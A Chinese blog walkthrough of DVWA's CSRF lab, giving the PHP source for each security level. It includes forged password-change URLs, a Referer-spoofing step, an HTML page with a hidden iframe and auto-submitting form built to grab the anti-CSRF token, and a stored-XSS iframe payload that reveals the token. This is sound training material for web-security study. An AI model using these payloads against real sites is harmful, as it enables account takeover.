zoukankan      html  css  js  c++  java
  • DVWA之CSRF(跨站请求伪造攻击)

    目录

    Low

    Middle

    High

    Impossible


    Low

    源代码:

    <?php
    if( isset( $_GET[ 'Change' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];    
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    ?> 

    $GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

    从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。

    相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。

    是同一个对象的话,再用md5进行加密,再更新数据库。

    知道了这些之后,我们第一次尝试两次秘密不一致看看。

    可以看到顶部的URL是:http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=124&Change=Change#

    很明显,这就是修改密码的链接。

    我们打开另一个页面,在顶部URL中自己输入如下的

    http://127.0.0.1/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

    可以看到,直接跳转到了密码成功的页面了

    Middle

    源代码:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Checks to see where the request came from
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // Get input
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
                // Feedback for the user
                echo "<pre>Password Changed.</pre>";
            }
            else {
                // Issue with passwords matching
                echo "<pre>Passwords did not match.</pre>";
            }
        }
        else {
            // Didn't come from a trusted source
            echo "<pre>That request didn't look correct.</pre>";
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    ?> 

    Middle类型的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证

     if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

    即用户的请求头中的Referer字段必须包含了服务器的名字。关于Http Referer字段,详情:验证 HTTP Referer 字段 

    当我们再打开另一个页面,在顶部URL中自己输入如下的时,

    http://127.0.0.1/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

    它会报错,提示你Http Referer字段没有定义索引

     这次我们先正常的访问这个完整,然后用burpsuite进行抓包,如图可以看到Referer字段

    然后,我们打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包

    http://127.0.0.1/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

    可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。

     那我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了

    可以看到,已经成功修改密码了

    High

    源代码:

     <?php
    if( isset( $_GET[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
    

    可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。关于 token 抵御CSRF攻击,详情:在请求地址中添加 token 并验证

    因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

    所以现在要想进行CSRF攻击就必须获取到用户的token,而要想获取到 token 就必须利用用户的 cookie 值去访问修改密码的页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。

    我们尝试利用下面的代码去构造一个页面,诱使用户点击,当用户点击该链接的这一刻,该代码会偷偷的访问修改用户密码的页面,然后获取到服务器返回的 token ,然后再构造修改密码的表单,加上我们获取到服务器的token值,向服务器发送修改密码的请求。

    <!DOCTYPE html>
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title></title>
        <script type="text/javascript">
            //获取用户的token,并设置为表单中的token,然后提交修改密码的表单
            function attack()
            {
                document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
                document.getElementById("transfer").submit();
            }
        </script>
    </head>
    <body οnlοad="attack()">
        <iframe src="http://192.168.10.14/dvwa/vulnerabilities/csrf/" id="hack"  style="display:none;">  <!--在该网页内打开另一个网页-->
        </iframe>
        <form method="GET" id="transfer"  action="http://192.168.10.14/dvwa/vulnerabilities/csrf/">
            <input type="hidden" name="password_new" value="admin">
            <input type="hidden" name="password_conf" value="admin">
            <input type="hidden" name="user_token" value="">
            <input type="hidden" name="Change" value="Change">
        </form>
    </body>
    </html>
    

    这一切看起来是那么的天衣无缝,无懈可击。可是,我们忘记了浏览器最重要的一个策略——同源策略。由于我们框架ifame要访问的链接是 http://192.168.10.14/dvwa/vulnerabilities/csrf ,这是漏洞网站服务器的链接。而我们的脚本执行的位置是我们自己搭的一个服务器,所以我们的攻击脚本是不可能跨域取到改密界面中的user_token。关于同源策略和跨域问题:浏览器同源策略和跨域的实现方法

    由于这里跨域是不能实现的,所以我们之前的想法以失败告终了。

    在这里,我们要想获取到用户的token,并提交修改密码的表单的话,就必须得把我们的攻击脚本注入到目标服务器中 。而要想注入到目标服务器,同时得发挥作用,获取用户的 token修改密码的话,就得和XSS漏洞一起结合实现了。

    我们将如下代码通过存储型XSS插入到数据库中,这语句会弹出用户的token

    <iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>

    Impossible

    源代码:

    <?php
    if( isset( $_GET[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $pass_curr = $_GET[ 'password_current' ];
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Sanitise current password input
        $pass_curr = stripslashes( $pass_curr );
        $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_curr = md5( $pass_curr );
        // Check that the current password is correct
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();
        // Do both new passwords match and does the current password match the user?
        if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
            // It does!
            $pass_new = stripslashes( $pass_new );
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update database with new password
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match or current password incorrect.</pre>";
        }
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?> 

    可以看出,impossible级别修改密码需要输入之前的密码,黑客无法知道用户之前的密码,所以无法进行CSRF攻击。

  • 相关阅读:
    windows下启动数据库、创建数据表、角色等
    直播流的来源
    win10如何查看已保存的账号信息
    Tomcat+IDEA
    线程安全-Spring Bean 作用域类型(Scope)
    ECMAScript6学习-2.1let与const
    解决Mac上Android开发时adb连接不到手机问题
    8个不可不知的Mac OS X专用命令行工具(转)
    ios 中获得应用程序名称和版本号
    iPhone 6 图像渲染揭秘(转)
  • 原文地址:https://www.cnblogs.com/csnd/p/11807975.html
Copyright © 2011-2022 走看看